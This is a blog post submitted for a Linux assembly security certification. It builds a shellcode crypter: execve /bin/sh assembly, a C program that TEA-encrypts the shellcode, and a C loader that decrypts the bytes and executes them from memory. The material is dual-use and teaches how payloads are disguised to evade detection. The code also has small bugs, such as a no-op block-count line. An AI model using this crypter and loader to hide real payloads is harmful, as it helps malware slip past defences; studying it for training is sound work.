This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017

Challenge

  • Create a custom crypter like the one shown in the “crypters” video
  • Free to use any exisSng encrypSon schema
  • Can use any programming language

Introduction

Our goal is to create two programs to encrypt and decrypt/execute shell code respectively.

I have choose to use Tiny Encryption Algorithm (TEA) for this assignment.TEA is a block cipher notable for its simplicity of description and implementation, typically a few lines of code. It was designed by David Wheeler and Roger Needham of the Cambridge Computer Laboratory.

We will adopt the reference encryption and decryption routines in C, released into the public domain by David Wheeler and Roger Needham. [1]

Shellcode preparation

We have leveraged execve-stack.nasm to generate shellcode.

; Filename: execve-stack.nasm
 
global _start          
 
section .text
 
_start:
 
    xor eax, eax
    push eax
 
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
 
    push eax
    mov edx, esp
 
    push ebx
    mov ecx, esp
 
    mov al, 11
    int 0x80

Encryption

We leveraged the reference code available on Wikipedia to implement a C program for shellcode encryption.

The source code as shown below: https://github.com/timip/SLAE/blob/master/shellcode_enc.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
#define BLOCKSIZE 8
 
void encrypt(long *v, long *k) {
    unsigned long v0=v[0], v1=v[1], sum=0, i;
    unsigned long delta=0x9e3779b9;
    unsigned long k0=k[0], k1=k[1], k2=k[2], k3=k[3];
    for (i=0; i < 32; i++) {
        sum += delta;
        v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
    }
    v[0]=v0;
    v[1]=v1;
}
 
void encryptBlocks(char *dataptr_in, char *keyptr_in) {
 
    int i = 0, blockcount;
    long *dataptr = (long *)dataptr_in;
    long *keyptr = (long *)keyptr_in;
 
    blockcount = strlen(dataptr_in) / BLOCKSIZE;
    blockcount = 0 ? 1 : blockcount;
 
    while (i < blockcount) {
        encrypt(dataptr + (i * 2), keyptr);
        i += 1;
    }
 
}
 
void printShellCode(char *shellcode) {
 
    int i;
 
    printf("Length = %d, Shellcode = ", strlen(shellcode));
    for(i=0; i<strlen(shellcode); i++) {
        printf("\\x%02x", (unsigned char)(int)shellcode[i]);
    }
    printf("\n");
 
}
 
int main(int argc, char *argv[]) {
 
    unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    unsigned char key[] = "tiptiptiptiptip8";
 
    char *str;
    str = shellcode;
 
    printf("[Original]\n");
    printShellCode(shellcode);
     
    encryptBlocks(str, key);
 
    printf("[Encrypted]\n");
    printShellCode(str);
    printf("\n");
 
    return 0;
 
}

We compiled and executed the program. The program returned an encrypted shellcode.

Decryption / Execution

We leveraged reference code available on Wikipedia again to implement a program to decrypt/execute shellcode.

We included the encrypted shellcode in the decryption/execution program as shown below:https://github.com/timip/SLAE/blob/master/shellcode_decexe.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
#define BLOCKSIZE 8
 
void decrypt(long *v, long *k) {
    unsigned long v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
    unsigned long delta=0x9e3779b9;                     /* a key schedule constant */
    unsigned long k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<32; i++) {
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }
    v[0]=v0;
    v[1]=v1;
}
 
void decryptBlocks(char *dataptr_in, char *keyptr_in) {
 
    int i = 0, blockcount;
    long *dataptr = (long *)dataptr_in;
    long *keyptr = (long *)keyptr_in;
 
    blockcount = strlen(dataptr_in) / BLOCKSIZE;
    blockcount = 0 ? 1 : blockcount;
 
    while (i < blockcount) {
        decrypt(dataptr + (i * 2), keyptr);
        i += 1;
    }
 
}
 
void printShellCode(char *shellcode) {
 
    int i;
 
    printf("Length = %d, Shellcode = ", strlen(shellcode));
    for(i=0; i<strlen(shellcode); i++) {
        printf("\\x%02x", (unsigned char)(int)shellcode[i]);
    }
    printf("\n");
 
}
 
int main(int argc, char *argv[]) {
 
    unsigned char encShellcode[] = "\xc6\xcf\x0a\xa6\x1e\x98\xf6\xa9\xd4\xf2\xcc\x0c\x16\x0c\xb4\xe2\x24\xcc\xf6\xf8\x34\x44\x8e\xd8\x80";
    unsigned char key[] = "tiptiptiptiptip8";
 
    //char *str;
    //str = encShellcode;
 
    char str[512];
    strcpy(str, encShellcode);
 
    printf("[Encrypted]\n");
    printShellCode(encShellcode);
     
    decryptBlocks(str, key);
 
    printf("[Source]\n");
    printShellCode(str);
    printf("\n");
 
    int (*ret)() = (int(*)())str;
    ret();
 
    return 0;
 
}

We compiled and executed the program. The program returned the decrypted shellcode. Afterwards, the shellcode being executed successfully.

Reference

[1] TEA, a Tiny Encryption Algorithm. David Wheeler, Roger Needham. Computer Laboratory Cambridge University, England. November 1994

http://citeseer.ist.psu.edu/viewdoc/download;jsessionid=C08E8409ADF484095568965A1EBF3E5E?doi=10.1.1.45.281&rep=rep1&type=pdf